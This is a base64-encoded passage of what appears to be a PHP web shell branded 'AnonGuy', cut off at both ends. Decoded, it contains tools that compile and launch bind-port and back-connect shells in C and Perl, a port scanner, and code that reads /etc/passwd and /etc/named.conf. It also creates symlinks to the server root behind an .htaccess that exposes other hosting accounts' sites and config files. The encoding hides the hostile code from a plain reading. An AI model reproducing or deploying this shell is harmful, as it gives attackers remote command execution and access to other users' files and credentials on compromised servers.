NBZ0lDQWdJQ0JqYkc5elpTaGpLVHNOQ2lBZ0lDQjlEUXA5IjsNCiAgICAkYmluZF9wb3J0X3A9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFva1UwaEZURXc5SWk5aWFXNHZjMmdnTFdraU93MEthV1lnS0VCQlVrZFdJRHdnTVNrZ2V5QmxlR2wwS0RFcE95QjlEUXAxYzJVZ1UyOWphMlYwT3cwS2MyOWphMlYwS0ZNc0psQkdYMGxPUlZRc0psTlBRMHRmVTFSU1JVRk5MR2RsZEhCeWIzUnZZbmx1WVcxbEtDZDBZM0FuS1NrZ2ZId2daR2xsSUNKRFlXNTBJR055WldGMFpTQnpiMk5yWlhSY2JpSTdEUXB6WlhSemIyTnJiM0IwS0ZNc1UwOU1YMU5QUTB0RlZDeFRUMTlTUlZWVFJVRkVSRklzTVNrN0RRcGlhVzVrS0ZNc2MyOWphMkZrWkhKZmFXNG9KRUZTUjFaYk1GMHNTVTVCUkVSU1gwRk9XU2twSUh4OElHUnBaU0FpUTJGdWRDQnZjR1Z1SUhCdmNuUmNiaUk3RFFwc2FYTjBaVzRvVXl3ektTQjhmQ0JrYVdVZ0lrTmhiblFnYkdsemRHVnVJSEJ2Y25SY2JpSTdEUXAzYUdsc1pTZ3hLU0I3RFFvSllXTmpaWEIwS0VOUFRrNHNVeWs3RFFvSmFXWW9JU2drY0dsa1BXWnZjbXNwS1NCN0RRb0pDV1JwWlNBaVEyRnVibTkwSUdadmNtc2lJR2xtSUNnaFpHVm1hVzVsWkNBa2NHbGtLVHNOQ2drSmIzQmxiaUJUVkVSSlRpd2lQQ1pEVDA1T0lqc05DZ2tKYjNCbGJpQlRWRVJQVlZRc0lqNG1RMDlPVGlJN0RRb0pDVzl3Wlc0Z1UxUkVSVkpTTENJK0prTlBUazRpT3cwS0NRbGxlR1ZqSUNSVFNFVk1UQ0I4ZkNCa2FXVWdjSEpwYm5RZ1EwOU9UaUFpUTJGdWRDQmxlR1ZqZFhSbElDUlRTRVZNVEZ4dUlqc05DZ2tKWTJ4dmMyVWdRMDlPVGpzTkNna0paWGhwZENBd093MEtDWDBOQ24wPSI7DQogICAgDQogICAgZWNobyAnPGgxPk5ldHdvcmstaW5nIFRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+DQogICAgPGZvcm0gbmFtZT1cJ25mcFwnIG9uU3VibWl0PSJnKG51bGwsbnVsbCx0aGlzLnVzaW5nLnZhbHVlLHRoaXMucG9ydC52YWx1ZSx0aGlzLnBhc3MudmFsdWUpO3JldHVybiBmYWxzZTsiPg0KICAgIDxiciAvPjxzcGFuPkJpbmQgcG9ydCB0byAvYmluL3NoPC9zcGFuPjxici8+DQogICAgUG9ydDogPGlucHV0IHR5cGU9XCd0ZXh0XCcgbmFtZT1cJ3BvcnRcJyB2YWx1ZT1cJzQ0M1wnPiBQYXNzd29yZDogPGlucHV0IHR5cGU9XCd0ZXh0XCcgbmFtZT1cJ3Bhc3NcJyB2YWx1ZT1cJ0FuT25HdVlcJz4gVXNpbmc6IDxzZWxlY3QgbmFtZT0idXNpbmciPjxvcHRpb24gdmFsdWU9XCdicGNcJz5DPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cJ2JwcFwnPlBlcmw8L29wdGlvbj48L3NlbGVjdD4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+DQogICAgPC9mb3JtPg0KICAgIDxmb3JtIG5hbWU9XCduZnBcJyBvblN1Ym1pdD0iZyhudWxsLG51bGwsdGhpcy51c2luZy52YWx1ZSx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTsiPg0KICAgIDxiciAvPjxiciAvPjxzcGFuPkJhY2stY29ubmVjdCB0bzwvc3Bhbj48YnIvPg0KICAgIFNlcnZlcjogPGlucHV0IHR5cGU9XCd0ZXh0XCcgbmFtZT1cJ3NlcnZlclwnIHZhbHVlPSInLiRfU0VSVkVSWydSRU1PVEVfQUREUiddLiciPiBQb3J0OiA8aW5wdXQgdHlwZT1cJ3RleHRcJyBuYW1lPVwncG9ydFwnIHZhbHVlPVwnNDQzXCc+IFVzaW5nOiA8c2VsZWN0IG5hbWU9InVzaW5nIj48b3B0aW9uIHZhbHVlPVwnYmNjXCc+Qzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCdiY3BcJz5QZXJsPC9vcHRpb24+PC9zZWxlY3Q+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPg0KICAgIDwvZm9ybT48YnI+JzsgICAgDQogICAgaWYoaXNzZXQoJF9QT1NUWydwMSddKSkgew0KICAgICAgICBmdW5jdGlvbiBjZigkZiwkdCkgew0KICAgICAgICAgICAgJHc9QGZvcGVuKCRmLCJ3Iikgb3IgQGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKTsNCiAgICAgICAgICAgIGlmKCR3KSAgICB7DQogICAgICAgICAgICAgICAgQGZ3cml0ZSgkdyxAYmFzZTY0X2RlY29kZSgkdCkpIG9yIEBmcHV0cygkdyxAYmFzZTY0X2RlY29kZSgkdCkpIG9yIEBmaWxlX3B1dF9jb250ZW50cygkZixAYmFzZTY0X2RlY29kZSgkdCkpOw0KICAgICAgICAgICAgICAgIEBmY2xvc2UoJHcpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYnBjJykgew0KICAgICAgICAgICAgY2YoIi90bXAvYnAuYyIsJGJpbmRfcG9ydF9jKTsNCiAgICAgICAgICAgICRvdXQgPSBleCgiZ2NjIC1vIC90bXAvYnAgL3RtcC9icC5jIik7DQogICAgICAgICAgICBAdW5saW5rKCIvdG1wL2JwLmMiKTsNCiAgICAgICAgICAgICRvdXQgLj0gZXgoIi90bXAvYnAgIi4kX1BPU1RbJ3AyJ10uIiAiLiRfUE9TVFsncDMnXS4iICYiKTsNCiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcDQoiLmV4KCJwcyBhdXggfCBncmVwIGJwIikuIjwvcHJlPiI7DQogICAgICAgIH0NCiAgICAgICAgaWYoJF9QT1NUWydwMSddID09ICdicHAnKSB7DQogICAgICAgICAgICBjZigiL3RtcC9icC5wbCIsJGJpbmRfcG9ydF9wKTsNCiAgICAgICAgICAgICRvdXQgPSBleCh3aGljaCgicGVybCIpLiIgL3RtcC9icC5wbCAiLiRfUE9TVFsncDInXS4iICYiKTsNCiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcDQoiLmV4KCJwcyBhdXggfCBncmVwIGJwLnBsIikuIjwvcHJlPiI7DQogICAgICAgIH0NCiAgICAgICAgaWYoJF9QT1NUWydwMSddID09ICdiY2MnKSB7DQogICAgICAgICAgICBjZigiL3RtcC9iYy5jIiwkYmFja19jb25uZWN0X2MpOw0KICAgICAgICAgICAgJG91dCA9IGV4KCJnY2MgLW8gL3RtcC9iYyAvdG1wL2JjLmMiKTsNCiAgICAgICAgICAgIEB1bmxpbmsoIi90bXAvYmMuYyIpOw0KICAgICAgICAgICAgJG91dCAuPSBleCgiL3RtcC9iYyAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgJiIpOw0KICAgICAgICAgICAgZWNobyAiPHByZSBjbGFzcz1tbDE+JG91dFwNCiIuZXgoInBzIGF1eCB8IGdyZXAgYmMiKS4iPC9wcmU+IjsNCiAgICAgICAgfQ0KICAgICAgICBpZigkX1BPU1RbJ3AxJ10gPT0gJ2JjcCcpIHsNCiAgICAgICAgICAgIGNmKCIvdG1wL2JjLnBsIiwkYmFja19jb25uZWN0X3ApOw0KICAgICAgICAgICAgJG91dCA9IGV4KHdoaWNoKCJwZXJsIikuIiAvdG1wL2JjLnBsICIuJF9QT1NUWydwMiddLiIgIi4kX1BPU1RbJ3AzJ10uIiAmIik7DQogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XA0KIi5leCgicHMgYXV4IHwgZ3JlcCBiYy5wbCIpLiI8L3ByZT4iOw0KICAgICAgICB9DQogICAgfQ0KICAgIGVjaG8gJzwvZGl2Pic7DQogICAgcHJpbnRGb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uUG9ydFNjYW5uZXIoKSB7DQogICAgcHJpbnRIZWFkZXIoKTsNCiAgICBlY2hvICc8aDE+UG9ydCBTY2FubmVyPC9oMT4nOw0KICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbnRlbnQiPic7DQogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+JzsNCiAgICANCiAgICBpZihpc3NldCgkX1BPU1RbJ2hvc3QnXSkgJiYgaXNfbnVtZXJpYygkX1BPU1RbJ2VuZCddKSAmJiBpc19udW1lcmljKCRfUE9TVFsnc3RhcnQnXSkpew0KICAgICAgICAkc3RhcnQgPSBzdHJpcF90YWdzKCRfUE9TVFsnc3RhcnQnXSk7DQogICAgICAgICRlbmQgPSBzdHJpcF90YWdzKCRfUE9TVFsnZW5kJ10pOw0KICAgICAgICAkaG9zdCA9IHN0cmlwX3RhZ3MoJF9QT1NUWydob3N0J10pOw0KICAgICAgICBmb3IoJGkgPSAkc3RhcnQ7ICRpPD0kZW5kOyAkaSsrKXsNCiAgICAgICAgICAgICRmcCA9IEBmc29ja29wZW4oJGhvc3QsICRpLCAkZXJybm8sICRlcnJzdHIsIDMpOw0KICAgICAgICAgICAgaWYoJGZwKXsNCiAgICAgICAgICAgICAgICBlY2hvICdQb3J0ICcuJGkuJyBpcyA8Zm9udCBjb2xvcj1saW1lPm9wZW48L2ZvbnQ+PGJyPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmbHVzaCgpOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgZWNobyAnPGJyIC8+PGJyIC8+PGNlbnRlcj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iUG9ydFNjYW5uZXIiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9cDE+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icDIiPg0KICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+DQogICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNoYXJzZXQiIHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpLiciPg0KICAgICAgICAgICAgICBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaG9zdCIgdmFsdWU9ImxvY2FsaG9zdCIvPjxiciAvPjxiciAvPg0KICAgICAgICAgICAgICBQb3J0IHN0YXJ0OiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3RhcnQiIHZhbHVlPSIwIi8+PGJyIC8+PGJyIC8+DQogICAgICAgICAgICAgIFBvcnQgZW5kOjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJlbmQiIHZhbHVlPSI1MDAwIi8+PGJyIC8+PGJyIC8+DQogICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTY2FuIFBvcnRzIiAvPg0KICAgICAgICAgICAgICA8L2Zvcm0+PC9jZW50ZXI+PGJyIC8+PGJyIC8+JzsNCiAgICB9DQogICAgZWNobyAnPC9kaXY+JzsNCiAgICBwcmludEZvb3RlcigpOyAgICANCn0NCg0KZnVuY3Rpb24gYWN0aW9uUmVhZGFibGUoKSB7DQogICAgcHJpbnRIZWFkZXIoKTsNCiAgICBlY2hvICc8aDE+UmVhZGFibGUgRGlyZWN0b3JpZXM8L2gxPic7DQogICAgZWNobyAnPGRpdiBjbGFzcz0iY29udGVudCI+JzsNCiAgICAkc20gPSBpbmlfZ2V0KCdzYWZlX21vZGUnKTsNCiAgICBpZigkc20pIHsNCiAgICAgICAgZWNobyAnPGJyIC8+PGI+RXJyb3I6IHNhZmVfbW9kZSA9IG9uPC9iPjxiciAvPjxiciAvPic7DQogICAgfSBlbHNlIHsNCiAgICAgICAgQCRwYXNzd2QgPSBmaWxlKCcvZXRjL3Bhc3N3ZCcsJ3InKTsNCiAgICAgICAgaWYgKCEkcGFzc3dkKSB7IA0KICAgICAgICAgICAgZWNobyAnPGJyIC8+PGI+WyNdIEVycm9yIDogY291bGRuYHQgcmVhZCAvZXRjL3Bhc3N3ZDwvYj48YnIgLz48YnIgLz4nOyANCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRwdWIgPSBhcnJheSgpOw0KICAgICAgICAgICAgJHVzZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRjb25mID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRpID0gMDsNCiAgICAgICAgICAgIGZvcmVhY2goJHBhc3N3ZCBhcyAkcCkgew0KICAgICAgICAgICAgICAgICRyID0gZXhwbG9kZSgnOicsJHApOw0KICAgICAgICAgICAgICAgICRkaXJ6ID0gJHJbNV0uJy9wdWJsaWNfaHRtbC8nOw0KICAgICAgICAgICAgICAgIGlmKHN0cnBvcygkcls1XSwnaG9tZScpKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJHVzZXJzLCRyWzBdKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX3JlYWRhYmxlKCRkaXJ6KSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgYXJyYXlfcHVzaCgkcHViLCRkaXJ6KTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gJzxicj48YnI+JzsNCiAgICAgICAgICAgIGVjaG8gIlsrXSBGb3VuZGVkICIuc2l6ZW9mKCR1c2VycykuIiBlbnRyeXMgaW4gL2V0Yy9wYXNzd2RcDQoiLiI8YnIgLz4iOw0KICAgICAgICAgICAgZWNobyAiWytdIEZvdW5kZWQgIi5zaXplb2YoJHB1YikuIiByZWFkYWJsZSBwdWJsaWNfaHRtbCBkaXJlY3Rvcmllc1wNCiIuIjxiciAvPjxiciAvPjxiciAvPiI7DQogICAgICAgICAgICBmb3JlYWNoICgkcHViIGFzICR1c2VyKSB7DQogICAgICAgICAgICAgICAgZWNobyAkdXNlci4iPGJyPiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICI8YnIgLz48YnIgLz48YnIgLz5bK10gQ29tcGxldGUuLi5cDQoiLiI8YnIgLz4iOw0KICAgICAgICB9DQogICAgfQ0KICAgIGVjaG8gJzwvZGl2Pic7DQogICAgcHJpbnRGb290ZXIoKTsgICAgDQp9DQoNCmZ1bmN0aW9uIGFjdGlvblN5bWxpbmsoKSB7DQogICAgcHJpbnRIZWFkZXIoKTsNCiAgICBlY2hvICc8aDE+U3ltbGluazwvaDE+JzsNCiAgICAkZnVybCA9ICdodHRwOi8vJy4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsNCiAgICAkZXhwbGQgPSBleHBsb2RlKCcvJywkZnVybCApOw0KICAgICRidXJsID1zdHJfcmVwbGFjZShlbmQoJGV4cGxkKSwnJywkZnVybCk7ICANCiAgICANCiAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb250ZW50Ij48Y2VudGVyPg0KICAgICAgICAgICAgICAgIDxoMz5bIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdzeW1saW5rXCcsbnVsbCxcJ3dlYnNpdGVcJyxudWxsKSI+RG9tYWluczwvYT4gXSAtIA0KICAgICAgICAgICAgICAgICAgICBbIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdzeW1saW5rXCcsbnVsbCxcJ3dob2xlXCcsbnVsbCkiPldob2xlIFNlcnZlciBTeW1saW5rPHN1cCBzdHlsZT0iY29sb3I6cmVkO3RleHQtZGVjb3JhdGlvbjpibGluazsiPk5ldzwvc3VwPjwvYT4gXSAtIA0KICAgICAgICAgICAgICAgICAgICBbIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdzeW1saW5rXCcsbnVsbCxcJ2NvbmZpZ1wnLG51bGwpIj5Db25maWcgZmlsZXMgc3ltbGluazwvYT4gXTwvaDM+PC9jZW50ZXI+JzsNCiAgICANCiAgICBpZihpc3NldCgkX1BPU1RbJ3AxJ10pICYmICRfUE9TVFsncDEnXT09J3dlYnNpdGUnKQ0KICAgIHsNCiAgICAgICAgZWNobyAiPGNlbnRlcj4iOw0KICAgICAgICAkZDBtYWlucyA9IEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKTsNCiAgICAgICAgaWYoISRkMG1haW5zKXsgDQogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPkNhbnQgYWNjZXNzIHRoaXMgZmlsZSBvbiBzZXJ2ZXIgLT4gWyAvZXRjL25hbWVkLmNvbmYgXTwvcHJlPjwvY2VudGVyPiI7IA0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHRhYmxlIGFsaWduPWNlbnRlciBjbGFzcz0nbWFpbicgYm9yZGVyPTAgPjx0cj48dGg+IENvdW50IDwvdGg+PHRoPiBEb21haW5zIDwvdGg+PHRoPiBVc2VycyA8L3RoPjwvdHI+IjsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgJHVuayA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoKCRkMG1haW5zIGFzICRkMG1haW4pew0KICAgICAgICAgICAgICAgIGlmKEBlcmVnaSgiem9uZSIsJGQwbWFpbikpew0KICAgICAgICAgICAgICAgICAgICBwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsNCiAgICAgICAgICAgICAgICAgICAgZmx1c2goKTsNCiAgICAgICAgICAgICAgICAgICAgaWYoc3RybGVuKHRyaW0oJGRvbWFpbnNbMV1bMF0pKSA+IDIpew0KICAgICAgICAgICAgICAgICAgICAgICAgJHVua1tdID0gJGRvbWFpbnNbMV1bMF07DQogICAgICAgICAgICAgICAgICAgICAgICBmbHVzaCgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkY291bnQ9MTsNCiAgICAgICAgICAgICR1bmsgPSBhcnJheV91bmlxdWUoJHVuayk7DQogICAgICAgICAgICAkbD0wOw0KICAgICAgICAgICAgZm9yZWFjaCgkdW5rIGFzICRkKXsNCiAgICAgICAgICAgICAgICAkdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZCkpOw0KICAgICAgICAgICAgICAgIGVjaG8gIjx0ciIuKCRsPycgY2xhc3M9bDEnOicnKS4iPjx0ZD4iLiRjb3VudC4iPC90ZD48dGQ+PGEgaHJlZj1odHRwOi8vIi4kZC4iLz4iLiRkLiI8L2E+PC90ZD48dGQ+Ii4kdXNlclsnbmFtZSddLiI8L3RkPjwvdHI+IjsNCiAgICAgICAgICAgICAgICBmbHVzaCgpOw0KICAgICAgICAgICAgICAgICRjb3VudCsrOw0KICAgICAgICAgICAgICAgICRsPSRsPzA6MTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gIjwvdGFibGU+IjsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvICI8L2NlbnRlcj4iOyANCiAgICB9DQogDQogICAgaWYoaXNzZXQoJF9QT1NUWydwMSddKSAmJiAkX1BPU1RbJ3AxJ109PSd3aG9sZScpDQogICAgew0KICAgICAgICBlY2hvICI8Y2VudGVyPiI7DQogICAgICAgIEBta2RpcignQW5vbkd1eV9zeW0nLDA3NzcpOw0KICAgICAgICAkaGR0ICA9ICJPcHRpb25zIGFsbFwNCkRpcmVjdG9yeUluZGV4IFN1eC5odG1sXA0KQWRkVHlwZSB0ZXh0L3BsYWluIC5waHBcDQpBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocFwNCkFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbFwNCkFkZEhhbmRsZXIgdHh0IC5odG1sXA0KUmVxdWlyZSBOb25lXA0KU2F0aXNmeSBBbnkiOw0KICAgICAgICAkaGZwID1AZm9wZW4gKCdBbm9uR3V5X3N5bS8uaHRhY2Nlc3MnLCd3Jyk7DQogICAgICAgIGZ3cml0ZSgkaGZwICwkaGR0KTsNCiAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdzeW1saW5rJykpIHsNCiAgICAgICAgICAgIEBzeW1saW5rKCcvJywnQW5vbkd1eV9zeW0vcm9vdCcpOw0KICAgICAgICB9DQogICAgICAgICRkMG1haW5zID0gQGZpbGUoJy9ldGMvbmFtZWQuY29uZicpOw0KICAgICAgICBpZighJGQwbWFpbnMpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+IyBDYW50IGFjY2VzcyB0aGlzIGZpbGUgb24gc2VydmVyIC0+IFsgL2V0Yy9uYW1lZC5jb25mIF08L3ByZT48L2NlbnRlcj4iOw0KICAgICAgICAgICAgZWNobyAiPHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnIGNsYXNzPSdtYWluJz48dHI+PHRoPiBDb3VudCA8L3RoPjx0aD4gRG9tYWlucyA8L3RoPjx0aD4gVXNlciA8L3RoPjx0aD4gU3ltbGluayA8L3RoPjwvdHI+IjsNCiAgICAgICAgICAgICRkdCA9IGZpbGUoJy9ldGMvcGFzc3dkJyk7DQogICAgICAgICAgICAkbD0wOw0KICAgICAgICAgICAgZm9yZWFjaCgkZHQgYXMgJGQpIHsNCiAgICAgICAgICAgICAgICAkciA9IGV4cGxvZGUoJzonLCRkKTsNCiAgICAgICAgICAgICAgICBpZihzdHJwb3MoJHJbNV0sJ2hvbWUnKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICI8dHIiLigkbD8nIGNsYXNzPWwxJzonJykuIj48dGQ+Ii4kai4iPC90ZD48dGQ+LS0tPC90ZD48dGQ+Ii4kclswXS4iPC90ZD48dGQ+PGEgaHJlZj0nQW5vbkd1eV9zeW0vcm9vdCIuJHJbNV0uIi9wdWJsaWNfaHRtbCcgdGFyZ2V0PSdfYmxhbmsnPnN5bWxpbms8L2E+PC90ZD48L3RyPiI7DQogICAgICAgICAgICAgICAgICAgICRsPSRsPzA6MTsNCiAgICAgICAgICAgICAgICAgICAgJGorKzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9ICAgICAgICAgICAgDQogICAgICAgICAgICBlY2hvICc8L3RhYmxlPic7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBlY2hvICI8dGFibGUgYWxpZ249J2NlbnRlcicgd2lkdGg9JzQwJScgY2xhc3M9J21haW4nPjx0cj48dGg+IENvdW50IDwvdGg+PHRoPiBEb21haW5zIDwvdGg+PHRoPiBVc2VyIDwvdGg+PHRoPiBTeW1saW5rIDwvdGg+PC90cj4iOw0KICAgICAgICAgICAgJGNvdW50PTE7DQogICAgICAgICAgICAkbWNrID0gYXJyYXkoKTsNCiAgICAgICAgICAgIGZvcmVhY2goJGQwbWFpbnMgYXMgJGQwbWFpbil7DQogICAgICAgICAgICAgICAgaWYoQGVyZWdpKCd6b25lJywkZDBtYWluKSl7DQogICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywkZDBtYWluLCRkb21haW4pOw0KICAgICAgICAgICAgICAgICAgICBmbHVzaCgpOw0KICAgICAgICAgICAgICAgICAgICBpZihzdHJsZW4odHJpbSgkZG9tYWluWzFdWzBdKSkgPjIpew0KICAgICAgICAgICAgICAgICAgICAgICAgJG1ja1tdID0gJGRvbWFpblsxXVswXTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRtY2sgPSBhcnJheV91bmlxdWUoJG1jayk7DQogICAgICAgICAgICAkdXNyID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRkbW4gPSBhcnJheSgpOw0KICAgICAgICAgICAgZm9yZWFjaCgkbWNrIGFzICRvKSB7DQogICAgICAgICAgICAgICAgJGluZm9zID0gQHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iLiRvKSk7DQogICAgICAgICAgICAgICAgJHVzcltdID0gJGluZm9zWyduYW1lJ107DQogICAgICAgICAgICAgICAgJGRtbltdID0gJG87DQogICAgICAgICAgICB9DQogICAgICAgICAgICBhcnJheV9tdWx0aXNvcnQoJHVzciwkZG1uKTsNCiAgICAgICAgICAgICRkdCA9IGZpbGUoJy9ldGMvcGFzc3dkJyk7DQogICAgICAgICAgICAkcGFzc3dkID0gYXJyYXkoKTsNCiAgICAgICAgICAgIGZvcmVhY2goJGR0IGFzICRkKSB7DQogICAgICAgICAgICAgICAgJHIgPSBleHBsb2RlKCc6JywkZCk7DQogICAgICAgICAgICAgICAgaWYoc3RycG9zKCRyWzVdLCdob21lJykpIHsNCiAgICAgICAgICAgICAgICAgICAgJHBhc3N3ZFskclswXV0gPSAkcls1XTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkbD0wOw0KICAgICAgICAgICAgJGo9MTsNCiAgICAgICAgICAgIGZvcmVhY2goJHVzciBhcyAkcikgew0KICAgICAgICAgICAgICAgIGVjaG8gIjx0ciIuKCRsPycgY2xhc3M9bDEnOicnKS4iPjx0ZD4iLiRjb3VudCsrLiI8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj1odHRwOi8vIi4kZG1uWyRqLTFdLicvPicuJGRtblskai0xXS4nIDwvYT48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4nLiRyLiI8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48YSBocmVmPSdBbm9uR3V5X3N5bS9yb290Ii4kcGFzc3dkWyRyXS4iL3B1YmxpY19odG1sJyB0YXJnZXQ9J19ibGFuayc+c3ltbGluazwvYT48L3RkPjwvdHI+IjsNCiAgICAgICAgICAgICAgICBmbHVzaCgpOw0KICAgICAgICAgICAgICAgICRsPSRsPzA6MTsNCiAgICAgICAgICAgICAgICAkaisrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWNobyAnPC90YWJsZT4nOw0KICAgICAgICB9DQogICAgICAgIGVjaG8gIjwvY2VudGVyPiI7ICAgIA0KICAgIH0NCiANCiAgICBpZihpc3NldCgkX1BPU1RbJ3AxJ10pICYmICRfUE9TVFsncDEnXT09J2NvbmZpZycpDQogICAgew0KICAgICAgICBlY2hvICI8Y2VudGVyPiI7DQogICAgICAgIEBta2RpcignQW5vbkd1eV9zeW0nLDA3NzcpOw0KICAgICAgICAkaGR0ID0gIk9wdGlvbnMgYWxsIFwNCiBEaXJlY3RvcnlJbmRleCBTdXguaHRtbCBcDQogQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXA0KIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFwNCiAgQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIFwNCiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcDQogUmVxdWlyZSBOb25lIFwNCiBTYXRpc2Z5IEFueSI7DQogICAgICAgICRoZnAgPSBAZm9wZW4gKCdBbm9uR3V5X3N5bS8uaHRhY2Nlc3MnLCd3Jyk7DQogICAgICAgIEBmd3JpdGUoJGhmcCAsJGhkdCk7DQogICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnc3ltbGluaycpKSB7DQogICAgICAgICAgICBAc3ltbGluaygnLycsJ0Fub25HdXlfc3ltL3Jvb3QnKTsNCiAgICAgICAgfQ0KICAgICAgICAkZDBtYWlucyA9IEBmaWxlKCcvZXRjL25hbWVkLmNvbmYnKTsNCiAgICAgICAgaWYoISRkMG1haW5zKSB7DQogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPiMgQ2FudCBhY2Nlc3MgdGhpcyBmaWxlIG9uIHNlcnZlciAtPiBbIC9ldGMvbmFtZWQuY29uZiBdPC9wcmU+PC9jZW50ZXI+IjsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gIjx0YWJsZSBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJyBjbGFzcz0nbWFpbicgPjx0cj48dGg+IENvdW50IDwvdGg+PHRoPiBEb21haW4gPC90aDx0aD4gVXNlciA8L3RoPj48dGg+IFNjcmlwdCA8L3RoPjwvdHI+IjsNCiAgICAgICAgICAgICRjb3VudCA9IDE7DQogICAgICAgICAgICAkbD0wOw0KICAgICAgICAgICAgZm9yZWFjaCgkZDBtYWlucyBhcy